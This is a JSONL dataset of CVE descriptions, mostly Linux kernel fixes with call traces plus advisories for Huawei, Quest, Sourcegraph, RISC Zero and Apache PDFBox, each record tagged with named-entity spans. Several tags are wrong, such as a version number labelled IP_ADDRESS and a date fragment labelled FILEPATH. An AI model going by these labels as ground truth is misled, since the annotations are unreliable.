{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: ucsi_acpi: Increase the command completion timeout\n\nCommit 130a96d698d7 (\"usb: typec: ucsi: acpi: Increase command\ncompletion timeout value\") increased the timeout from 5 seconds\nto 60 seconds due to issues related to alternate mode discovery.\n\nAfter the alternate mode discovery switch to polled mode\nthe timeout was reduced, but instead of being set back to\n5 seconds it was reduced to 1 second.\n\nThis is causing problems when using a Lenovo ThinkPad X1 yoga gen7\nconnected over Type-C to a LG 27UL850-W (charging DP over Type-C).\n\nWhen the monitor is already connected at boot the following error\nis logged: \"PPM init failed (-110)\", /sys/class/typec is empty and\non unplugging the NULL pointer deref fixed earlier in this series\nhappens.\n\nWhen the monitor is connected after boot the following error\nis logged instead: \"GET_CONNECTOR_STATUS failed (-110)\".\n\nSetting the timeout back to 5 seconds fixes both cases.", "spans": {"FILEPATH: /sys/class/typec": [[711, 727]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Lenovo": [[511, 517]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53168"}}
{"text": "There are multiple out of bounds (OOB) read vulnerabilities in the implementation of the Common Open Policy Service (COPS) protocol of some Huawei products. The specific decoding function may occur out-of-bounds read when processes an incoming data packet. Successful exploit of these vulnerabilities may disrupt service on the affected device. (Vulnerability ID: HWPSIRT-2018-12275,HWPSIRT-2018-12276,HWPSIRT-2018-12277,HWPSIRT-2018-12278,HWPSIRT-2018-12279,HWPSIRT-2018-12280 and HWPSIRT-2018-12289)\n\nThe seven vulnerabilities have been assigned seven Common Vulnerabilities and Exposures (CVE) IDs: CVE-2020-1818, CVE-2020-1819, CVE-2020-1820, CVE-2020-1821, CVE-2020-1822, CVE-2020-1823 and CVE-2020-1824.", "spans": {"CVE_ID: CVE-2020-1818": [[602, 615]], "CVE_ID: CVE-2020-1819": [[617, 630]], "CVE_ID: CVE-2020-1820": [[632, 645]], "CVE_ID: CVE-2020-1821": [[647, 660]], "CVE_ID: CVE-2020-1822": [[662, 675]], "CVE_ID: CVE-2020-1823": [[677, 690]], "CVE_ID: CVE-2020-1824": [[695, 708]], "ORGANIZATION: Huawei": [[140, 146]], "VULNERABILITY: out-of-bounds read": [[198, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1820"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: use spin_lock to avoid hang\n\n[14696.634553] task:cat             state:D stack:    0 pid:1613738 ppid:1613735 flags:0x00000004\n[14696.638285] Call Trace:\n[14696.639038]  <TASK>\n[14696.640032]  __schedule+0x302/0x930\n[14696.640969]  schedule+0x58/0xd0\n[14696.641799]  schedule_preempt_disabled+0x18/0x30\n[14696.642890]  __mutex_lock.constprop.0+0x2fb/0x4f0\n[14696.644035]  ? mod_objcg_state+0x10c/0x310\n[14696.645040]  ? obj_cgroup_charge+0xe1/0x170\n[14696.646067]  __mutex_lock_slowpath+0x13/0x20\n[14696.647126]  mutex_lock+0x34/0x40\n[14696.648070]  stat_show+0x25/0x17c0 [f2fs]\n[14696.649218]  seq_read_iter+0x120/0x4b0\n[14696.650289]  ? aa_file_perm+0x12a/0x500\n[14696.651357]  ? lru_cache_add+0x1c/0x20\n[14696.652470]  seq_read+0xfd/0x140\n[14696.653445]  full_proxy_read+0x5c/0x80\n[14696.654535]  vfs_read+0xa0/0x1a0\n[14696.655497]  ksys_read+0x67/0xe0\n[14696.656502]  __x64_sys_read+0x1a/0x20\n[14696.657580]  do_syscall_64+0x3b/0xc0\n[14696.658671]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[14696.660068] RIP: 0033:0x7efe39df1cb2\n[14696.661133] RSP: 002b:00007ffc8badd948 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\n[14696.662958] RAX: ffffffffffffffda RBX: 0000000000020000 RCX: 00007efe39df1cb2\n[14696.664757] RDX: 0000000000020000 RSI: 00007efe399df000 RDI: 0000000000000003\n[14696.666542] RBP: 00007efe399df000 R08: 00007efe399de010 R09: 00007efe399de010\n[14696.668363] R10: 0000000000000022 R11: 0000000000000246 R12: 0000000000000000\n[14696.670155] R13: 0000000000000003 R14: 0000000000020000 R15: 0000000000020000\n[14696.671965]  </TASK>\n[14696.672826] task:umount          state:D stack:    0 pid:1614985 ppid:1614984 flags:0x00004000\n[14696.674930] Call Trace:\n[14696.675903]  <TASK>\n[14696.676780]  __schedule+0x302/0x930\n[14696.677927]  schedule+0x58/0xd0\n[14696.679019]  schedule_preempt_disabled+0x18/0x30\n[14696.680412]  __mutex_lock.constprop.0+0x2fb/0x4f0\n[14696.681783]  ? destroy_inode+0x65/0x80\n[14696.683006]  __mutex_lock_slowpath+0x13/0x20\n[14696.684305]  mutex_lock+0x34/0x40\n[14696.685442]  f2fs_destroy_stats+0x1e/0x60 [f2fs]\n[14696.686803]  f2fs_put_super+0x158/0x390 [f2fs]\n[14696.688238]  generic_shutdown_super+0x7a/0x120\n[14696.689621]  kill_block_super+0x27/0x50\n[14696.690894]  kill_f2fs_super+0x7f/0x100 [f2fs]\n[14696.692311]  deactivate_locked_super+0x35/0xa0\n[14696.693698]  deactivate_super+0x40/0x50\n[14696.694985]  cleanup_mnt+0x139/0x190\n[14696.696209]  __cleanup_mnt+0x12/0x20\n[14696.697390]  task_work_run+0x64/0xa0\n[14696.698587]  exit_to_user_mode_prepare+0x1b7/0x1c0\n[14696.700053]  syscall_exit_to_user_mode+0x27/0x50\n[14696.701418]  do_syscall_64+0x48/0xc0\n[14696.702630]  entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49169"}}
{"text": "CSRF in Web Compliance Manager in Quest Policy Authority 8.1.2.200 allows remote attackers to force user modification/creation via a specially crafted link to the submitUser.jsp file. NOTE: This vulnerability only affects products that are no longer supported by the maintainer", "spans": {"IP_ADDRESS: 8.1.2.200": [[57, 66]], "FILEPATH: submitUser.jsp": [[163, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35722"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/imc-pmu: Fix use of mutex in IRQs disabled section\n\nCurrent imc-pmu code triggers a WARNING with CONFIG_DEBUG_ATOMIC_SLEEP\nand CONFIG_PROVE_LOCKING enabled, while running a thread_imc event.\n\nCommand to trigger the warning:\n  # perf stat -e thread_imc/CPM_CS_FROM_L4_MEM_X_DPTEG/ sleep 5\n\n   Performance counter stats for 'sleep 5':\n\n                   0      thread_imc/CPM_CS_FROM_L4_MEM_X_DPTEG/\n\n         5.002117947 seconds time elapsed\n\n         0.000131000 seconds user\n         0.001063000 seconds sys\n\nBelow is snippet of the warning in dmesg:\n\n  BUG: sleeping function called from invalid context at kernel/locking/mutex.c:580\n  in_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 2869, name: perf-exec\n  preempt_count: 2, expected: 0\n  4 locks held by perf-exec/2869:\n   #0: c00000004325c540 (&sig->cred_guard_mutex){+.+.}-{3:3}, at: bprm_execve+0x64/0xa90\n   #1: c00000004325c5d8 (&sig->exec_update_lock){++++}-{3:3}, at: begin_new_exec+0x460/0xef0\n   #2: c0000003fa99d4e0 (&cpuctx_lock){-...}-{2:2}, at: perf_event_exec+0x290/0x510\n   #3: c000000017ab8418 (&ctx->lock){....}-{2:2}, at: perf_event_exec+0x29c/0x510\n  irq event stamp: 4806\n  hardirqs last  enabled at (4805): [<c000000000f65b94>] _raw_spin_unlock_irqrestore+0x94/0xd0\n  hardirqs last disabled at (4806): [<c0000000003fae44>] perf_event_exec+0x394/0x510\n  softirqs last  enabled at (0): [<c00000000013c404>] copy_process+0xc34/0x1ff0\n  softirqs last disabled at (0): [<0000000000000000>] 0x0\n  CPU: 36 PID: 2869 Comm: perf-exec Not tainted 6.2.0-rc2-00011-g1247637727f2 #61\n  Hardware name: 8375-42A POWER9 0x4e1202 opal:v7.0-16-g9b85f7d961 PowerNV\n  Call Trace:\n    dump_stack_lvl+0x98/0xe0 (unreliable)\n    __might_resched+0x2f8/0x310\n    __mutex_lock+0x6c/0x13f0\n    thread_imc_event_add+0xf4/0x1b0\n    event_sched_in+0xe0/0x210\n    merge_sched_in+0x1f0/0x600\n    visit_groups_merge.isra.92.constprop.166+0x2bc/0x6c0\n    ctx_flexible_sched_in+0xcc/0x140\n    ctx_sched_in+0x20c/0x2a0\n    ctx_resched+0x104/0x1c0\n    perf_event_exec+0x340/0x510\n    begin_new_exec+0x730/0xef0\n    load_elf_binary+0x3f8/0x1e10\n  ...\n  do not call blocking ops when !TASK_RUNNING; state=2001 set at [<00000000fd63e7cf>] do_nanosleep+0x60/0x1a0\n  WARNING: CPU: 36 PID: 2869 at kernel/sched/core.c:9912 __might_sleep+0x9c/0xb0\n  CPU: 36 PID: 2869 Comm: sleep Tainted: G        W          6.2.0-rc2-00011-g1247637727f2 #61\n  Hardware name: 8375-42A POWER9 0x4e1202 opal:v7.0-16-g9b85f7d961 PowerNV\n  NIP:  c000000000194a1c LR: c000000000194a18 CTR: c000000000a78670\n  REGS: c00000004d2134e0 TRAP: 0700   Tainted: G        W           (6.2.0-rc2-00011-g1247637727f2)\n  MSR:  9000000000021033 <SF,HV,ME,IR,DR,RI,LE>  CR: 48002824  XER: 00000000\n  CFAR: c00000000013fb64 IRQMASK: 1\n\nThe above warning triggered because the current imc-pmu code uses mutex\nlock in interrupt disabled sections. The function mutex_lock()\ninternally calls __might_resched(), which will check if IRQs are\ndisabled and in case IRQs are disabled, it will trigger the warning.\n\nFix the issue by changing the mutex lock to spinlock.\n\n[mpe: Fix comments, trim oops in change log, add reported-by tags]", "spans": {"FILEPATH: /locking/mutex.c": [[693, 709]], "FILEPATH: /sched/core.c": [[2321, 2334]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53031"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: tegra210-quad: Protect curr_xfer check in IRQ handler\n\nNow that all other accesses to curr_xfer are done under the lock,\nprotect the curr_xfer NULL check in tegra_qspi_isr_thread() with the\nspinlock. Without this protection, the following race can occur:\n\n  CPU0 (ISR thread)              CPU1 (timeout path)\n  ----------------               -------------------\n  if (!tqspi->curr_xfer)\n    // sees non-NULL\n                                 spin_lock()\n                                 tqspi->curr_xfer = NULL\n                                 spin_unlock()\n  handle_*_xfer()\n    spin_lock()\n    t = tqspi->curr_xfer  // NULL!\n    ... t->len ...        // NULL dereference!\n\nWith this patch, all curr_xfer accesses are now properly synchronized.\n\nAlthough all accesses to curr_xfer are done under the lock, in\ntegra_qspi_isr_thread() it checks for NULL, releases the lock and\nreacquires it later in handle_cpu_based_xfer()/handle_dma_based_xfer().\nThere is a potential for an update in between, which could cause a NULL\npointer dereference.\n\nTo handle this, add a NULL check inside the handlers after acquiring\nthe lock. This ensures that if the timeout path has already cleared\ncurr_xfer, the handler will safely return without dereferencing the\nNULL pointer.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23207"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npacket: annotate data-races around ignore_outgoing\n\nignore_outgoing is read locklessly from dev_queue_xmit_nit()\nand packet_getsockopt()\n\nAdd appropriate READ_ONCE()/WRITE_ONCE() annotations.\n\nsyzbot reported:\n\nBUG: KCSAN: data-race in dev_queue_xmit_nit / packet_setsockopt\n\nwrite to 0xffff888107804542 of 1 bytes by task 22618 on cpu 0:\n packet_setsockopt+0xd83/0xfd0 net/packet/af_packet.c:4003\n do_sock_setsockopt net/socket.c:2311 [inline]\n __sys_setsockopt+0x1d8/0x250 net/socket.c:2334\n __do_sys_setsockopt net/socket.c:2343 [inline]\n __se_sys_setsockopt net/socket.c:2340 [inline]\n __x64_sys_setsockopt+0x66/0x80 net/socket.c:2340\n do_syscall_64+0xd3/0x1d0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nread to 0xffff888107804542 of 1 bytes by task 27 on cpu 1:\n dev_queue_xmit_nit+0x82/0x620 net/core/dev.c:2248\n xmit_one net/core/dev.c:3527 [inline]\n dev_hard_start_xmit+0xcc/0x3f0 net/core/dev.c:3547\n __dev_queue_xmit+0xf24/0x1dd0 net/core/dev.c:4335\n dev_queue_xmit include/linux/netdevice.h:3091 [inline]\n batadv_send_skb_packet+0x264/0x300 net/batman-adv/send.c:108\n batadv_send_broadcast_skb+0x24/0x30 net/batman-adv/send.c:127\n batadv_iv_ogm_send_to_if net/batman-adv/bat_iv_ogm.c:392 [inline]\n batadv_iv_ogm_emit net/batman-adv/bat_iv_ogm.c:420 [inline]\n batadv_iv_send_outstanding_bat_ogm_packet+0x3f0/0x4b0 net/batman-adv/bat_iv_ogm.c:1700\n process_one_work kernel/workqueue.c:3254 [inline]\n process_scheduled_works+0x465/0x990 kernel/workqueue.c:3335\n worker_thread+0x526/0x730 kernel/workqueue.c:3416\n kthread+0x1d1/0x210 kernel/kthread.c:388\n ret_from_fork+0x4b/0x60 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:243\n\nvalue changed: 0x00 -> 0x01\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 1 PID: 27 Comm: kworker/u8:1 Tainted: G        W          6.8.0-syzkaller-08073-g480e035fc4c7 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/29/2024\nWorkqueue: bat_events batadv_iv_send_outstanding_bat_ogm_packet", "spans": {"FILEPATH: /packet/af_packet.c": [[442, 461]], "FILEPATH: /core/dev.c": [[870, 881], [900, 911], [961, 972], [1012, 1023]], "FILEPATH: /linux/netdevice.h": [[1052, 1070]], "FILEPATH: /batman-adv/send.c": [[1124, 1142], [1187, 1205]], "FILEPATH: /batman-adv/bat_iv_ogm.c": [[1239, 1263], [1300, 1324], [1396, 1420]], "FILEPATH: /x86/kernel/process.c": [[1660, 1681]], "FILEPATH: /x86/entry/entry_64.S": [[1719, 1740]], "FILEPATH: /29/2024": [[2003, 2011]], "FILEPATH: socket.c": [[491, 499], [548, 556], [587, 595], [635, 643], [694, 702]], "FILEPATH: workqueue.c": [[1451, 1462], [1521, 1532], [1572, 1583]], "FILEPATH: kthread.c": [[1617, 1626]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1937, 1943], [1944, 1950], [1966, 1972], [1994, 2000]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26862"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetlink: terminate outstanding dump on socket close\n\nNetlink supports iterative dumping of data. It provides the families\nthe following ops:\n - start - (optional) kicks off the dumping process\n - dump  - actual dump helper, keeps getting called until it returns 0\n - done  - (optional) pairs with .start, can be used for cleanup\nThe whole process is asynchronous and the repeated calls to .dump\ndon't actually happen in a tight loop, but rather are triggered\nin response to recvmsg() on the socket.\n\nThis gives the user full control over the dump, but also means that\nthe user can close the socket without getting to the end of the dump.\nTo make sure .start is always paired with .done we check if there\nis an ongoing dump before freeing the socket, and if so call .done.\n\nThe complication is that sockets can get freed from BH and .done\nis allowed to sleep. So we use a workqueue to defer the call, when\nneeded.\n\nUnfortunately this does not work correctly. What we defer is not\nthe cleanup but rather releasing a reference on the socket.\nWe have no guarantee that we own the last reference, if someone\nelse holds the socket they may release it in BH and we're back\nto square one.\n\nThe whole dance, however, appears to be unnecessary. Only the user\ncan interact with dumps, so we can clean up when socket is closed.\nAnd close always happens in process context. Some async code may\nstill access the socket after close, queue notification skbs to it etc.\nbut no dumps can start, end or otherwise make progress.\n\nDelete the workqueue and flush the dump state directly from the release\nhandler. Note that further cleanup is possible in -next, for instance\nwe now always call .done before releasing the main module reference,\nso dump doesn't have to take a reference of its own.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53140"}}
{"text": "Sourcegraph is a code search and navigation engine. Sourcegraph versions 3.35 and 3.36 reintroduced a previously fixed side-channel vulnerabilitity in the Code Monitoring feature where strings in private source code could be guessed by an authenticated but unauthorized actor. This issue affects only the Code Monitoring feature, whereas CVE-2021-43823 also affected saved searches. A successful attack would require an authenticated bad actor to create many Code Monitors to receive confirmation that a specific string exists. This could allow an attacker to guess formatted tokens in source code, such as API keys. This issue was patched in versions 3.35.2 and 3.36.3 of Sourcegraph. Those who are unable to upgrade may disable the Code Monitor feature in their installation.", "spans": {"CVE_ID: CVE-2021-43823": [[338, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23643"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmt76: connac: fix kernel warning adding monitor interface\n\nFix the following kernel warning adding a monitor interface in\nmt76_connac_mcu_uni_add_dev routine.\n\n[  507.984882] ------------[ cut here ]------------\n[  507.989515] WARNING: CPU: 1 PID: 3017 at mt76_connac_mcu_uni_add_dev+0x178/0x190 [mt76_connac_lib]\n[  508.059379] CPU: 1 PID: 3017 Comm: ifconfig Not tainted 5.4.98 #0\n[  508.065461] Hardware name: MT7622_MT7531 RFB (DT)\n[  508.070156] pstate: 80000005 (Nzcv daif -PAN -UAO)\n[  508.074939] pc : mt76_connac_mcu_uni_add_dev+0x178/0x190 [mt76_connac_lib]\n[  508.081806] lr : mt7921_eeprom_init+0x1288/0x1cb8 [mt7921e]\n[  508.087367] sp : ffffffc013a33930\n[  508.090671] x29: ffffffc013a33930 x28: ffffff801e628ac0\n[  508.095973] x27: ffffff801c7f1200 x26: ffffff801c7eb008\n[  508.101275] x25: ffffff801c7eaef0 x24: ffffff801d025610\n[  508.106577] x23: ffffff801d022990 x22: ffffff801d024de8\n[  508.111879] x21: ffffff801d0226a0 x20: ffffff801c7eaee8\n[  508.117181] x19: ffffff801d0226a0 x18: 000000005d00b000\n[  508.122482] x17: 00000000ffffffff x16: 0000000000000000\n[  508.127785] x15: 0000000000000080 x14: ffffff801d704000\n[  508.133087] x13: 0000000000000040 x12: 0000000000000002\n[  508.138389] x11: 000000000000000c x10: 0000000000000000\n[  508.143691] x9 : 0000000000000020 x8 : 0000000000000001\n[  508.148992] x7 : 0000000000000000 x6 : 0000000000000000\n[  508.154294] x5 : ffffff801c7eaee8 x4 : 0000000000000006\n[  508.159596] x3 : 0000000000000001 x2 : 0000000000000000\n[  508.164898] x1 : ffffff801c7eac08 x0 : ffffff801d0226a0\n[  508.170200] Call trace:\n[  508.172640]  mt76_connac_mcu_uni_add_dev+0x178/0x190 [mt76_connac_lib]\n[  508.179159]  mt7921_eeprom_init+0x1288/0x1cb8 [mt7921e]\n[  508.184394]  drv_add_interface+0x34/0x88 [mac80211]\n[  508.189271]  ieee80211_add_virtual_monitor+0xe0/0xb48 [mac80211]\n[  508.195277]  ieee80211_do_open+0x86c/0x918 [mac80211]\n[  508.200328]  ieee80211_do_open+0x900/0x918 [mac80211]\n[  508.205372]  __dev_open+0xcc/0x150\n[  508.208763]  __dev_change_flags+0x134/0x198\n[  508.212937]  dev_change_flags+0x20/0x60\n[  508.216764]  devinet_ioctl+0x3e8/0x748\n[  508.220503]  inet_ioctl+0x1e4/0x350\n[  508.223983]  sock_do_ioctl+0x48/0x2a0\n[  508.227635]  sock_ioctl+0x310/0x4f8\n[  508.231116]  do_vfs_ioctl+0xa4/0xac0\n[  508.234681]  ksys_ioctl+0x44/0x90\n[  508.237985]  __arm64_sys_ioctl+0x1c/0x48\n[  508.241901]  el0_svc_common.constprop.1+0x7c/0x100\n[  508.246681]  el0_svc_handler+0x18/0x20\n[  508.250421]  el0_svc+0x8/0x1c8\n[  508.253465] ---[ end trace c7b90fee13d72c39 ]---\n[  508.261278] ------------[ cut here ]------------", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47029"}}
{"text": "RISC Zero is a zero-knowledge verifiable general computing platform, with Ethereum integration. The risc0-ethereum repository contains Solidity verifier contracts, Steel EVM view call library, and supporting code. Prior to versions 2.1.1 and 2.2.0, the `Steel.validateCommitment` Solidity library function will return `true` for a crafted commitment with a digest value of zero. This violates the semantics of `validateCommitment`, as this does not commitment to a block that is in the current chain. Because the digest is zero, it does not correspond to any block and there exist no known openings. As a result, this commitment will never be produced by a correct zkVM guest using Steel and leveraging this bug to compromise the soundness of a program using Steel would require a separate bug or misuse of the Steel library, which is expected to be used to validate the root of state opening proofs. A fix has been released as part of `risc0-ethereum` 2.1.1 and 2.2.0. Users for the `Steel` Solidity library versions 2.1.0 or earlier should ensure they are using `Steel.validateCommitment` in tandem with zkVM proof verification of a Steel program, as shown in the ERC-20 counter example, and documentation. This is the correct usage of Steel, and users following this pattern are not at risk, and do not need to take action. Users not verifying a zkVM proof of a Steel program should update their application to do so, as this is incorrect usage of Steel.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-52884"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: hyperv: streamline driver probe to avoid devres issues\n\nIt was found that unloading 'hid_hyperv' module results in a devres\ncomplaint:\n\n ...\n hv_vmbus: unregistering driver hid_hyperv\n ------------[ cut here ]------------\n WARNING: CPU: 2 PID: 3983 at drivers/base/devres.c:691 devres_release_group+0x1f2/0x2c0\n ...\n Call Trace:\n  <TASK>\n  ? devres_release_group+0x1f2/0x2c0\n  ? __warn+0xd1/0x1c0\n  ? devres_release_group+0x1f2/0x2c0\n  ? report_bug+0x32a/0x3c0\n  ? handle_bug+0x53/0xa0\n  ? exc_invalid_op+0x18/0x50\n  ? asm_exc_invalid_op+0x1a/0x20\n  ? devres_release_group+0x1f2/0x2c0\n  ? devres_release_group+0x90/0x2c0\n  ? rcu_is_watching+0x15/0xb0\n  ? __pfx_devres_release_group+0x10/0x10\n  hid_device_remove+0xf5/0x220\n  device_release_driver_internal+0x371/0x540\n  ? klist_put+0xf3/0x170\n  bus_remove_device+0x1f1/0x3f0\n  device_del+0x33f/0x8c0\n  ? __pfx_device_del+0x10/0x10\n  ? cleanup_srcu_struct+0x337/0x500\n  hid_destroy_device+0xc8/0x130\n  mousevsc_remove+0xd2/0x1d0 [hid_hyperv]\n  device_release_driver_internal+0x371/0x540\n  driver_detach+0xc5/0x180\n  bus_remove_driver+0x11e/0x2a0\n  ? __mutex_unlock_slowpath+0x160/0x5e0\n  vmbus_driver_unregister+0x62/0x2b0 [hv_vmbus]\n  ...\n\nAnd the issue seems to be that the corresponding devres group is not\nallocated. Normally, devres_open_group() is called from\n__hid_device_probe() but Hyper-V HID driver overrides 'hid_dev->driver'\nwith 'mousevsc_hid_driver' stub and basically re-implements\n__hid_device_probe() by calling hid_parse() and hid_hw_start() but not\ndevres_open_group(). hid_device_probe() does not call __hid_device_probe()\nfor it. Later, when the driver is removed, hid_device_remove() calls\ndevres_release_group() as it doesn't check whether hdev->driver was\ninitially overridden or not.\n\nThe issue seems to be related to the commit 62c68e7cee33 (\"HID: ensure\ntimely release of driver-allocated resources\") but the commit itself seems\nto be correct.\n\nFix the issue by dropping the 'hid_dev->driver' override and using\nhid_register_driver()/hid_unregister_driver() instead. Alternatively, it\nwould have been possible to rely on the default handling but\nHID_CONNECT_DEFAULT implies HID_CONNECT_HIDRAW and it doesn't seem to work\nfor mousevsc as-is.", "spans": {"FILEPATH: /base/devres.c": [[333, 347]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56545"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibie: don't unroll if fwlog isn't supported\n\nThe libie_fwlog_deinit() function can be called during driver unload\neven when firmware logging was never properly initialized. This led to call\ntrace:\n\n[  148.576156] Oops: Oops: 0000 [#1] SMP NOPTI\n[  148.576167] CPU: 80 UID: 0 PID: 12843 Comm: rmmod Kdump: loaded Not tainted 6.17.0-rc7next-queue-3oct-01915-g06d79d51cf51 #1 PREEMPT(full)\n[  148.576177] Hardware name: HPE ProLiant DL385 Gen10 Plus/ProLiant DL385 Gen10 Plus, BIOS A42 07/18/2020\n[  148.576182] RIP: 0010:__dev_printk+0x16/0x70\n[  148.576196] Code: 1f 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 41 55 41 54 49 89 d4 55 48 89 fd 53 48 85 f6 74 3c <4c> 8b 6e 50 48 89 f3 4d 85 ed 75 03 4c 8b 2e 48 89 df e8 f3 27 98\n[  148.576204] RSP: 0018:ffffd2fd7ea17a48 EFLAGS: 00010202\n[  148.576211] RAX: ffffd2fd7ea17aa0 RBX: ffff8eb288ae2000 RCX: 0000000000000000\n[  148.576217] RDX: ffffd2fd7ea17a70 RSI: 00000000000000c8 RDI: ffffffffb68d3d88\n[  148.576222] RBP: ffffffffb68d3d88 R08: 0000000000000000 R09: 0000000000000000\n[  148.576227] R10: 00000000000000c8 R11: ffff8eb2b1a49400 R12: ffffd2fd7ea17a70\n[  148.576231] R13: ffff8eb3141fb000 R14: ffffffffc1215b48 R15: ffffffffc1215bd8\n[  148.576236] FS:  00007f5666ba6740(0000) GS:ffff8eb2472b9000(0000) knlGS:0000000000000000\n[  148.576242] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  148.576247] CR2: 0000000000000118 CR3: 000000011ad17000 CR4: 0000000000350ef0\n[  148.576252] Call Trace:\n[  148.576258]  <TASK>\n[  148.576269]  _dev_warn+0x7c/0x96\n[  148.576290]  libie_fwlog_deinit+0x112/0x117 [libie_fwlog]\n[  148.576303]  ixgbe_remove+0x63/0x290 [ixgbe]\n[  148.576342]  pci_device_remove+0x42/0xb0\n[  148.576354]  device_release_driver_internal+0x19c/0x200\n[  148.576365]  driver_detach+0x48/0x90\n[  148.576372]  bus_remove_driver+0x6d/0xf0\n[  148.576383]  pci_unregister_driver+0x2e/0xb0\n[  148.576393]  ixgbe_exit_module+0x1c/0xd50 [ixgbe]\n[  148.576430]  __do_sys_delete_module.isra.0+0x1bc/0x2e0\n[  148.576446]  do_syscall_64+0x7f/0x980\n\nIt can be reproduced by trying to unload ixgbe driver in recovery mode.\n\nFix that by checking if fwlog is supported before doing unroll.", "spans": {"FILEPATH: /18/2020": [[555, 563]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23329"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/eevdf: Fix se->slice being set to U64_MAX and resulting crash\n\nThere is a code path in dequeue_entities() that can set the slice of a\nsched_entity to U64_MAX, which sometimes results in a crash.\n\nThe offending case is when dequeue_entities() is called to dequeue a\ndelayed group entity, and then the entity's parent's dequeue is delayed.\nIn that case:\n\n1. In the if (entity_is_task(se)) else block at the beginning of\n   dequeue_entities(), slice is set to\n   cfs_rq_min_slice(group_cfs_rq(se)). If the entity was delayed, then\n   it has no queued tasks, so cfs_rq_min_slice() returns U64_MAX.\n2. The first for_each_sched_entity() loop dequeues the entity.\n3. If the entity was its parent's only child, then the next iteration\n   tries to dequeue the parent.\n4. If the parent's dequeue needs to be delayed, then it breaks from the\n   first for_each_sched_entity() loop _without updating slice_.\n5. The second for_each_sched_entity() loop sets the parent's ->slice to\n   the saved slice, which is still U64_MAX.\n\nThis throws off subsequent calculations with potentially catastrophic\nresults. A manifestation we saw in production was:\n\n6. In update_entity_lag(), se->slice is used to calculate limit, which\n   ends up as a huge negative number.\n7. limit is used in se->vlag = clamp(vlag, -limit, limit). Because limit\n   is negative, vlag > limit, so se->vlag is set to the same huge\n   negative number.\n8. In place_entity(), se->vlag is scaled, which overflows and results in\n   another huge (positive or negative) number.\n9. The adjusted lag is subtracted from se->vruntime, which increases or\n   decreases se->vruntime by a huge number.\n10. pick_eevdf() calls entity_eligible()/vruntime_eligible(), which\n    incorrectly returns false because the vruntime is so far from the\n    other vruntimes on the queue, causing the\n    (vruntime - cfs_rq->min_vruntime) * load calulation to overflow.\n11. Nothing appears to be eligible, so pick_eevdf() returns NULL.\n12. pick_next_entity() tries to dereference the return value of\n    pick_eevdf() and crashes.\n\nDumping the cfs_rq states from the core dumps with drgn showed tell-tale\nhuge vruntime ranges and bogus vlag values, and I also traced se->slice\nbeing set to U64_MAX on live systems (which was usually \"benign\" since\nthe rest of the runqueue needed to be in a particular state to crash).\n\nFix it in dequeue_entities() by always setting slice from the first\nnon-empty cfs_rq.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37821"}}
{"text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples.\n\nThis issue affects the \nExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7.\n\n\nUsers are recommended to update to version 2.0.37 or 3.0.8 once \navailable. Until then, they should apply the fix provided in GitHub PR \n427.\n\nThe ExtractEmbeddedFiles example contained a path traversal vulnerability (CWE-22) mentioned in CVE-2026-23907. However the change in the releases 2.0.36 and 3.0.7 is flawed because it doesn't consider the file path separator. Because of that, a user having writing rights on /home/ABC could be victim to a malicious PDF resulting in a write attempt to any path starting with /home/ABC, e.g. \"/home/ABCDEF\".\n\nUsers who have copied this example into their production code should apply the mentioned change. The example \nhas been changed accordingly and is available in the project repository.", "spans": {"CVE_ID: CVE-2026-23907": [[487, 501]], "FILEPATH: /home/ABC": [[667, 676], [767, 776]], "FILEPATH: /home/ABCDEF": [[784, 796]], "ORGANIZATION: Apache": [[96, 102], [177, 183]], "ORGANIZATION: GitHub": [[374, 380]], "VULNERABILITY: Path Traversal": [[62, 76]], "VULNERABILITY: path traversal": [[436, 450]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33929"}}
